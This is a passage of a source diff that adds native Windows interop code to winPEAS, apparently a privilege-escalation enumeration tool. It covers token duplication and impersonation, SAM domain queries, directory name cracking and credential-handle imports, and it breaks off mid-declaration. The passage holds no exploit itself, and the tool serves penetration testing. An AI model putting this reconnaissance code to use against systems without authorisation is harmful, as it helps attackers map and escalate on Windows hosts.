||||
{
|
||||
if (currentProcessToken == null)
|
||||
currentProcessToken = FromProcess(Kernel32.GetCurrentProcess(), desiredAccess);
|
||||
return currentProcessToken;
|
||||
}
|
||||
}
|
||||
|
||||
public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
||||
=> FromThread(Kernel32.GetCurrentThread(), desiredAccess, openAsSelf);
|
||||
|
||||
public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
||||
{
|
||||
SafeTokenHandle val;
|
||||
if (!Advapi32.OpenProcessToken(hProcess, desiredAccess, out val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
return val;
|
||||
}
|
||||
|
||||
public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
||||
{
|
||||
SafeTokenHandle val;
|
||||
if (!Advapi32.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val))
|
||||
{
|
||||
if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN)
|
||||
{
|
||||
SafeTokenHandle pval = FromCurrentProcess();
|
||||
if (!Advapi32.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
if (!Advapi32.SetThreadToken(IntPtr.Zero, val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
}
|
||||
else
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
}
|
||||
return val;
|
||||
}
|
||||
}
|
||||
}
|
55
winPEAS/winPEASexe/winPEAS/Native/Classes/UNICODE_STRING.cs
Normal file
55
winPEAS/winPEASexe/winPEAS/Native/Classes/UNICODE_STRING.cs
Normal file
@ -0,0 +1,55 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS.Native.Classes
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public class UNICODE_STRING : IDisposable
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public IntPtr Buffer;
|
||||
|
||||
public UNICODE_STRING()
|
||||
: this(null)
|
||||
{
|
||||
}
|
||||
|
||||
public UNICODE_STRING(string s)
|
||||
{
|
||||
if (s != null)
|
||||
{
|
||||
Length = (ushort)(s.Length * 2);
|
||||
MaximumLength = (ushort)(Length + 2);
|
||||
Buffer = Marshal.StringToHGlobalUni(s);
|
||||
}
|
||||
}
|
||||
|
||||
public override string ToString() => Buffer != IntPtr.Zero ? Marshal.PtrToStringUni(Buffer) : null;
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (Buffer != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
Marshal.FreeHGlobal(Buffer);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));
|
||||
}
|
||||
Buffer = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
~UNICODE_STRING() => Dispose(false);
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
}
|
41
winPEAS/winPEASexe/winPEAS/Native/Enums/AccessTypes.cs
Normal file
41
winPEAS/winPEASexe/winPEAS/Native/Enums/AccessTypes.cs
Normal file
@ -0,0 +1,41 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
[Flags]
|
||||
public enum AccessTypes : uint
|
||||
{
|
||||
TokenAssignPrimary = 0x0001,
|
||||
TokenDuplicate = 0x0002,
|
||||
TokenImpersonate = 0x0004,
|
||||
TokenQuery = 0x0008,
|
||||
TokenQuerySource = 0x0010,
|
||||
TokenAdjustPrivileges = 0x0020,
|
||||
TokenAdjustGroups = 0x0040,
|
||||
TokenAdjustDefault = 0x0080,
|
||||
TokenAdjustSessionID = 0x0100,
|
||||
TokenAllAccessP = 0x000F00FF,
|
||||
TokenAllAccess = 0x000F01FF,
|
||||
TokenRead = 0x00020008,
|
||||
TokenWrite = 0x000200E0,
|
||||
TokenExecute = 0x00020000,
|
||||
|
||||
Delete = 0x00010000,
|
||||
ReadControl = 0x00020000,
|
||||
WriteDac = 0x00040000,
|
||||
WriteOwner = 0x00080000,
|
||||
Synchronize = 0x00100000,
|
||||
StandardRightsRequired = 0x000F0000,
|
||||
StandardRightsRead = 0x00020000,
|
||||
StandardRightsWrite = 0x00020000,
|
||||
StandardRightsExecute = 0x00020000,
|
||||
StandardRightsAll = 0x001F0000,
|
||||
SpecificRightsAll = 0x0000FFFF,
|
||||
AccessSystemSecurity = 0x01000000,
|
||||
MaximumAllowed = 0x02000000,
|
||||
GenericRead = 0x80000000,
|
||||
GenericWrite = 0x40000000,
|
||||
GenericExecute = 0x20000000,
|
||||
GenericAll = 0x10000000,
|
||||
}
|
||||
}
|
39
winPEAS/winPEASexe/winPEAS/Native/Enums/CredentialType.cs
Normal file
39
winPEAS/winPEASexe/winPEAS/Native/Enums/CredentialType.cs
Normal file
@ -0,0 +1,39 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
/// <summary>
|
||||
/// Enum CredentialType
|
||||
///
|
||||
/// The type of the credential. This member cannot be changed after the credential is created.
|
||||
/// </summary>
|
||||
public enum CredentialType : uint
|
||||
{
|
||||
/// <summary>
|
||||
/// The lack of credential type
|
||||
/// </summary>
|
||||
None = 0,
|
||||
|
||||
/// <summary>
|
||||
/// Generic credential type
|
||||
///
|
||||
/// The credential is a generic credential. The credential will not be used by any particular authentication package.
|
||||
/// The credential will be stored securely but has no other significant characteristics.
|
||||
/// </summary>
|
||||
Generic = 1,
|
||||
|
||||
/// <summary>
|
||||
/// Domain password credential type
|
||||
///
|
||||
/// The credential is a password credential and is specific to Microsoft's authentication packages.
|
||||
/// The NTLM, Kerberos, and Negotiate authentication packages will automatically use this credential when connecting to the named target.
|
||||
/// </summary>
|
||||
DomainPassword = 2,
|
||||
|
||||
/// <summary>
|
||||
/// Domain certificate credential type
|
||||
///
|
||||
/// The credential is a certificate credential and is specific to Microsoft's authentication packages.
|
||||
/// The Kerberos, Negotiate, and Schannel authentication packages automatically use this credential when connecting to the named target.
|
||||
/// </summary>
|
||||
DomainCertificate = 3
|
||||
}
|
||||
}
|
26
winPEAS/winPEASexe/winPEAS/Native/Enums/DS_NAME_FLAGS.cs
Normal file
26
winPEAS/winPEASexe/winPEAS/Native/Enums/DS_NAME_FLAGS.cs
Normal file
@ -0,0 +1,26 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
/// <summary>
|
||||
/// Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum DS_NAME_FLAGS
|
||||
{
|
||||
/// <summary>Indicate that there are no associated flags.</summary>
|
||||
DS_NAME_NO_FLAGS = 0x0,
|
||||
|
||||
///<summary>Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX.</summary>
|
||||
DS_NAME_FLAG_SYNTACTICAL_ONLY = 0x1,
|
||||
|
||||
///<summary>Force a trip to the DC for evaluation, even if this could be locally cracked syntactically.</summary>
|
||||
DS_NAME_FLAG_EVAL_AT_DC = 0x2,
|
||||
|
||||
///<summary>The call fails if the domain controller is not a global catalog server.</summary>
|
||||
DS_NAME_FLAG_GCVERIFY = 0x4,
|
||||
|
||||
///<summary>Enable cross forest trust referral.</summary>
|
||||
DS_NAME_FLAG_TRUST_REFERRAL = 0x8
|
||||
}
|
||||
}
|
38
winPEAS/winPEASexe/winPEAS/Native/Enums/DS_NAME_FORMAT.cs
Normal file
38
winPEAS/winPEASexe/winPEAS/Native/Enums/DS_NAME_FORMAT.cs
Normal file
@ -0,0 +1,38 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides formats to use for input and output names for the DsCrackNames function.
|
||||
/// </summary>
|
||||
public enum DS_NAME_FORMAT
|
||||
{
|
||||
///<summary>Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown.</summary>
|
||||
DS_UNKNOWN_NAME = 0,
|
||||
|
||||
///<summary>Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com"</summary>
|
||||
DS_FQDN_1779_NAME = 1,
|
||||
|
||||
///<summary>Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\).</summary>
|
||||
DS_NT4_ACCOUNT_NAME = 2,
|
||||
|
||||
///<summary>Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN).</summary>
|
||||
DS_DISPLAY_NAME = 3,
|
||||
|
||||
///<summary>Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}"</summary>
|
||||
DS_UNIQUE_ID_NAME = 6,
|
||||
|
||||
///<summary>Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/).</summary>
|
||||
DS_CANONICAL_NAME = 7,
|
||||
|
||||
///<summary>Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com"</summary>
|
||||
DS_USER_PRINCIPAL_NAME = 8,
|
||||
|
||||
///<summary>This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone"</summary>
|
||||
DS_CANONICAL_NAME_EX = 9,
|
||||
|
||||
///<summary>Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com"</summary>
|
||||
DS_SERVICE_PRINCIPAL_NAME = 10,
|
||||
|
||||
///<summary>Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501"</summary>
|
||||
DS_SID_OR_SID_HISTORY_NAME = 11,
|
||||
}
|
||||
}
|
10
winPEAS/winPEASexe/winPEAS/Native/Enums/NetJoinStatus.cs
Normal file
10
winPEAS/winPEASexe/winPEAS/Native/Enums/NetJoinStatus.cs
Normal file
@ -0,0 +1,10 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum NetJoinStatus
|
||||
{
|
||||
NetSetupUnknownStatus = 0,
|
||||
NetSetupUnjoined,
|
||||
NetSetupWorkgroupName,
|
||||
NetSetupDomainName
|
||||
}
|
||||
}
|
@ -0,0 +1,13 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
[Flags]
|
||||
public enum PrivilegeAttributes : uint
|
||||
{
|
||||
Disabled = 0x00000000,
|
||||
EnabledByDefault = 0x00000001,
|
||||
Enabled = 0x00000002,
|
||||
UsedForAccess = 0x80000000,
|
||||
}
|
||||
}
|
@ -0,0 +1,10 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum SECURITY_IMPERSONATION_LEVEL
|
||||
{
|
||||
Anonymous,
|
||||
Identification,
|
||||
Impersonation,
|
||||
Delegation
|
||||
}
|
||||
}
|
@ -0,0 +1,18 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum SECURITY_LOGON_TYPE : uint
|
||||
{
|
||||
Interactive = 2, // logging on interactively.
|
||||
Network, // logging using a network.
|
||||
Batch, // logon for a batch process.
|
||||
Service, // logon for a service account.
|
||||
Proxy, // Not supported.
|
||||
Unlock, // Tattempt to unlock a workstation.
|
||||
NetworkCleartext, // network logon with cleartext credentials
|
||||
NewCredentials, // caller can clone its current token and specify new credentials for outbound connections
|
||||
RemoteInteractive, // terminal server session that is both remote and interactive
|
||||
CachedInteractive, // attempt to use the cached credentials without going out across the network
|
||||
CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes
|
||||
CachedUnlock // attempt to unlock a workstation
|
||||
}
|
||||
}
|
19
winPEAS/winPEASexe/winPEAS/Native/Enums/SE_OBJECT_TYPE.cs
Normal file
19
winPEAS/winPEASexe/winPEAS/Native/Enums/SE_OBJECT_TYPE.cs
Normal file
@ -0,0 +1,19 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum SE_OBJECT_TYPE
|
||||
{
|
||||
SE_UNKNOWN_OBJECT_TYPE = 0,
|
||||
SE_FILE_OBJECT,
|
||||
SE_SERVICE,
|
||||
SE_PRINTER,
|
||||
SE_REGISTRY_KEY,
|
||||
SE_LMSHARE,
|
||||
SE_KERNEL_OBJECT,
|
||||
SE_WINDOW_OBJECT,
|
||||
SE_DS_OBJECT,
|
||||
SE_DS_OBJECT_ALL,
|
||||
SE_PROVIDER_DEFINED_OBJECT,
|
||||
SE_WMIGUID_OBJECT,
|
||||
SE_REGISTRY_WOW64_32KEY
|
||||
}
|
||||
}
|
42
winPEAS/winPEASexe/winPEAS/Native/Enums/ServerTypes.cs
Normal file
42
winPEAS/winPEASexe/winPEAS/Native/Enums/ServerTypes.cs
Normal file
@ -0,0 +1,42 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
[Flags]
|
||||
public enum ServerTypes : uint
|
||||
{
|
||||
Workstation = 0x00000001,
|
||||
Server = 0x00000002,
|
||||
SqlServer = 0x00000004,
|
||||
DomainCtrl = 0x00000008,
|
||||
BackupDomainCtrl = 0x00000010,
|
||||
TimeSource = 0x00000020,
|
||||
AppleFilingProtocol = 0x00000040,
|
||||
Novell = 0x00000080,
|
||||
DomainMember = 0x00000100,
|
||||
PrintQueueServer = 0x00000200,
|
||||
DialinServer = 0x00000400,
|
||||
XenixServer = 0x00000800,
|
||||
UnixServer = 0x00000800,
|
||||
NT = 0x00001000,
|
||||
WindowsForWorkgroups = 0x00002000,
|
||||
MicrosoftFileAndPrintServer = 0x00004000,
|
||||
NTServer = 0x00008000,
|
||||
BrowserService = 0x00010000,
|
||||
BackupBrowserService = 0x00020000,
|
||||
MasterBrowserService = 0x00040000,
|
||||
DomainMaster = 0x00080000,
|
||||
OSF1Server = 0x00100000,
|
||||
VMSServer = 0x00200000,
|
||||
Windows = 0x00400000,
|
||||
DFS = 0x00800000,
|
||||
NTCluster = 0x01000000,
|
||||
TerminalServer = 0x02000000,
|
||||
VirtualNTCluster = 0x04000000,
|
||||
DCE = 0x10000000,
|
||||
AlternateTransport = 0x20000000,
|
||||
LocalListOnly = 0x40000000,
|
||||
PrimaryDomain = 0x80000000,
|
||||
All = 0xFFFFFFFF
|
||||
};
|
||||
}
|
@ -0,0 +1,9 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum TOKEN_ELEVATION_TYPE
|
||||
{
|
||||
Default = 1,
|
||||
Full,
|
||||
Limited
|
||||
}
|
||||
}
|
@ -0,0 +1,36 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId,
|
||||
TokenGroupsAndPrivileges,
|
||||
TokenSessionReference,
|
||||
TokenSandBoxInert,
|
||||
TokenAuditPolicy,
|
||||
TokenOrigin,
|
||||
TokenElevationType,
|
||||
TokenLinkedToken,
|
||||
TokenElevation,
|
||||
TokenHasRestrictions,
|
||||
TokenAccessInformation,
|
||||
TokenVirtualizationAllowed,
|
||||
TokenVirtualizationEnabled,
|
||||
TokenIntegrityLevel,
|
||||
TokenUIAccess,
|
||||
TokenMandatoryPolicy,
|
||||
TokenLogonSid,
|
||||
MaxTokenInfoClass
|
||||
}
|
||||
|
||||
}
|
11
winPEAS/winPEASexe/winPEAS/Native/Enums/TokenType.cs
Normal file
11
winPEAS/winPEASexe/winPEAS/Native/Enums/TokenType.cs
Normal file
@ -0,0 +1,11 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
[Serializable]
|
||||
public enum TokenType
|
||||
{
|
||||
TokenImpersonation = 2,
|
||||
TokenPrimary = 1
|
||||
}
|
||||
}
|
36
winPEAS/winPEASexe/winPEAS/Native/Enums/WTS_INFO_CLASS.cs
Normal file
36
winPEAS/winPEASexe/winPEAS/Native/Enums/WTS_INFO_CLASS.cs
Normal file
@ -0,0 +1,36 @@
|
||||
namespace winPEAS.Native.Enums
|
||||
{
|
||||
public enum WTS_INFO_CLASS
|
||||
{
|
||||
WTSInitialProgram = 0,
|
||||
WTSApplicationName = 1,
|
||||
WTSWorkingDirectory = 2,
|
||||
WTSOEMId = 3,
|
||||
WTSSessionId = 4,
|
||||
WTSUserName = 5,
|
||||
WTSWinStationName = 6,
|
||||
WTSDomainName = 7,
|
||||
WTSConnectState = 8,
|
||||
WTSClientBuildNumber = 9,
|
||||
WTSClientName = 10,
|
||||
WTSClientDirectory = 11,
|
||||
WTSClientProductId = 12,
|
||||
WTSClientHardwareId = 13,
|
||||
WTSClientAddress = 14,
|
||||
WTSClientDisplay = 15,
|
||||
WTSClientProtocolType = 16,
|
||||
WTSIdleTime = 17,
|
||||
WTSLogonTime = 18,
|
||||
WTSIncomingBytes = 19,
|
||||
WTSOutgoingBytes = 20,
|
||||
WTSIncomingFrames = 21,
|
||||
WTSOutgoingFrames = 22,
|
||||
WTSClientInfo = 23,
|
||||
WTSSessionInfo = 24,
|
||||
WTSSessionInfoEx = 25,
|
||||
WTSConfigInfo = 26,
|
||||
WTSValidationInfo = 27,
|
||||
WTSSessionAddressV4 = 28,
|
||||
WTSIsRemoteSession = 29
|
||||
}
|
||||
}
|
24
winPEAS/winPEASexe/winPEAS/Native/Iphlpapi.cs
Normal file
24
winPEAS/winPEASexe/winPEAS/Native/Iphlpapi.cs
Normal file
@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Info.NetworkInfo.Enums;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Iphlpapi
|
||||
{
|
||||
[DllImport("iphlpapi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int pdwSize,
|
||||
bool bOrder, int ulAf, TcpTableClass tableClass, uint reserved = 0);
|
||||
|
||||
[DllImport("iphlpapi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern uint GetExtendedUdpTable(IntPtr pUdpTable, ref int pdwSize,
|
||||
bool bOrder, int ulAf, UdpTableClass tableClass, uint reserved = 0);
|
||||
|
||||
[DllImport("IpHlpApi.dll")]
|
||||
[return: MarshalAs(UnmanagedType.U4)]
|
||||
internal static extern int GetIpNetTable(IntPtr pIpNetTable, [MarshalAs(UnmanagedType.U4)] ref int pdwSize, bool bOrder);
|
||||
|
||||
[DllImport("IpHlpApi.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
internal static extern int FreeMibTable(IntPtr plpNetTable);
|
||||
}
|
||||
}
|
64
winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs
Normal file
64
winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs
Normal file
@ -0,0 +1,64 @@
|
||||
using System;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Kernel32
|
||||
{
|
||||
//[DllImport("kernel32.dll", SetLastError = true)]
|
||||
//[return: MarshalAs(UnmanagedType.Bool)]
|
||||
//internal static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern IntPtr FindFirstFile(string lpFileName, out NamedPipes.WIN32_FIND_DATA lpFindFileData);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern bool FindNextFile(IntPtr hFindFile, out NamedPipes.WIN32_FIND_DATA
|
||||
lpFindFileData);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool FindClose(IntPtr hFindFile);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
internal static extern IntPtr LoadLibrary(string dllFilePath);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success), DllImport("Kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern IntPtr GetCurrentThread();
|
||||
|
||||
/// <summary>
|
||||
/// The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block.
|
||||
/// GlobalLock function increments the lock count by one.
|
||||
/// Needed for the clipboard functions when getting the data from IDataObject
|
||||
/// </summary>
|
||||
/// <param name="hMem"></param>
|
||||
/// <returns></returns>
|
||||
[DllImport("Kernel32.dll", SetLastError = true)]
|
||||
internal static extern IntPtr GlobalLock(IntPtr hMem);
|
||||
|
||||
/// <summary>
|
||||
/// The GlobalUnlock function decrements the lock count associated with a memory object.
|
||||
/// </summary>
|
||||
/// <param name="hMem"></param>
|
||||
/// <returns></returns>
|
||||
[DllImport("Kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool GlobalUnlock(IntPtr hMem);
|
||||
|
||||
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool FreeLibrary(IntPtr lib);
|
||||
}
|
||||
}
|
35
winPEAS/winPEASexe/winPEAS/Native/Netapi32.cs
Normal file
35
winPEAS/winPEASexe/winPEAS/Native/Netapi32.cs
Normal file
@ -0,0 +1,35 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Netapi32
|
||||
{
|
||||
[DllImport("Netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern int NetGetJoinInformation(string server, out IntPtr domain, out NetJoinStatus status);
|
||||
|
||||
//[DllImport("Netapi32.dll")]
|
||||
//internal static extern int NetApiBufferFree(IntPtr Buffer);
|
||||
|
||||
[DllImport("Netapi32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern int NetServerGetInfo(string serverName, int level, out IntPtr pSERVER_INFO_XXX);
|
||||
|
||||
[DllImport("Netapi32", CharSet = CharSet.Auto, SetLastError = true), SuppressUnmanagedCodeSecurity]
|
||||
internal static extern int NetServerEnum(
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string servernane, // must be null
|
||||
int level,
|
||||
out IntPtr bufptr,
|
||||
int prefmaxlen,
|
||||
out int entriesread,
|
||||
out int totalentries,
|
||||
ServerTypes servertype,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string domain, // null for login domain
|
||||
IntPtr resume_handle // Must be IntPtr.Zero
|
||||
);
|
||||
|
||||
[DllImport("Netapi32", SetLastError = true), SuppressUnmanagedCodeSecurity]
|
||||
internal static extern int NetApiBufferFree(IntPtr pBuf);
|
||||
}
|
||||
}
|
31
winPEAS/winPEASexe/winPEAS/Native/Ntdsapi.cs
Normal file
31
winPEAS/winPEASexe/winPEAS/Native/Ntdsapi.cs
Normal file
@ -0,0 +1,31 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Ntdsapi
|
||||
{
|
||||
[DllImport("ntdsapi.dll", CharSet = CharSet.Auto, PreserveSig = false)]
|
||||
internal static extern void DsBind(
|
||||
string DomainControllerName, // in, optional
|
||||
string DnsDomainName, // in, optional
|
||||
out IntPtr phDS);
|
||||
|
||||
[DllImport("ntdsapi.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern uint DsCrackNames(
|
||||
IntPtr hDS,
|
||||
DS_NAME_FLAGS flags,
|
||||
DS_NAME_FORMAT formatOffered,
|
||||
DS_NAME_FORMAT formatDesired,
|
||||
uint cNames,
|
||||
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.LPTStr, SizeParamIndex = 4)] string[] rpNames,
|
||||
out IntPtr ppResult);
|
||||
|
||||
[DllImport("ntdsapi.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern void DsFreeNameResult(IntPtr pResult /* DS_NAME_RESULT* */);
|
||||
|
||||
[DllImport("ntdsapi.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern uint DsUnBind(ref IntPtr phDS);
|
||||
}
|
||||
}
|
30
winPEAS/winPEASexe/winPEAS/Native/Psapi.cs
Normal file
30
winPEAS/winPEASexe/winPEAS/Native/Psapi.cs
Normal file
@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Psapi
|
||||
{
|
||||
[DllImport("psapi")]
|
||||
internal static extern bool EnumDeviceDrivers(
|
||||
UIntPtr[] driversList,
|
||||
UInt32 arraySizeBytes,
|
||||
out UInt32 bytesNeeded
|
||||
);
|
||||
|
||||
[DllImport("psapi")]
|
||||
internal static extern int GetDeviceDriverFileName(
|
||||
UIntPtr baseAddr,
|
||||
StringBuilder name,
|
||||
UInt32 nameSize
|
||||
);
|
||||
|
||||
[DllImport("psapi")]
|
||||
internal static extern int GetDeviceDriverBaseName(
|
||||
UIntPtr baseAddr,
|
||||
StringBuilder name,
|
||||
UInt32 nameSize
|
||||
);
|
||||
}
|
||||
}
|
34
winPEAS/winPEASexe/winPEAS/Native/Samlib.cs
Normal file
34
winPEAS/winPEASexe/winPEAS/Native/Samlib.cs
Normal file
@ -0,0 +1,34 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Info.UserInfo.SAM;
|
||||
using winPEAS.Native.Classes;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Samlib
|
||||
{
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamConnect(UNICODE_STRING ServerName, out IntPtr ServerHandle, SERVER_ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamCloseHandle(IntPtr ServerHandle);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamFreeMemory(IntPtr Handle);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamOpenDomain(IntPtr ServerHandle, DOMAIN_ACCESS_MASK DesiredAccess, byte[] DomainId, out IntPtr DomainHandle);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamLookupDomainInSamServer(IntPtr ServerHandle, UNICODE_STRING name, out IntPtr DomainId);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamQueryInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, out IntPtr Buffer);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamSetInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, IntPtr Buffer);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern NTSTATUS SamEnumerateDomainsInSamServer(IntPtr ServerHandle, ref int EnumerationContext, out IntPtr EnumerationBuffer, int PreferedMaximumLength, out int CountReturned);
|
||||
}
|
||||
}
|
98
winPEAS/winPEASexe/winPEAS/Native/Secur32.cs
Normal file
98
winPEAS/winPEASexe/winPEAS/Native/Secur32.cs
Normal file
@ -0,0 +1,98 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.KnownFileCreds.Kerberos;
|
||||
using winPEAS.KnownFileCreds.SecurityPackages;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Secur32
|
||||
{
|
||||
[DllImport("secur32.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern uint AcquireCredentialsHandle(
|
||||
IntPtr pszPrincipal,
|
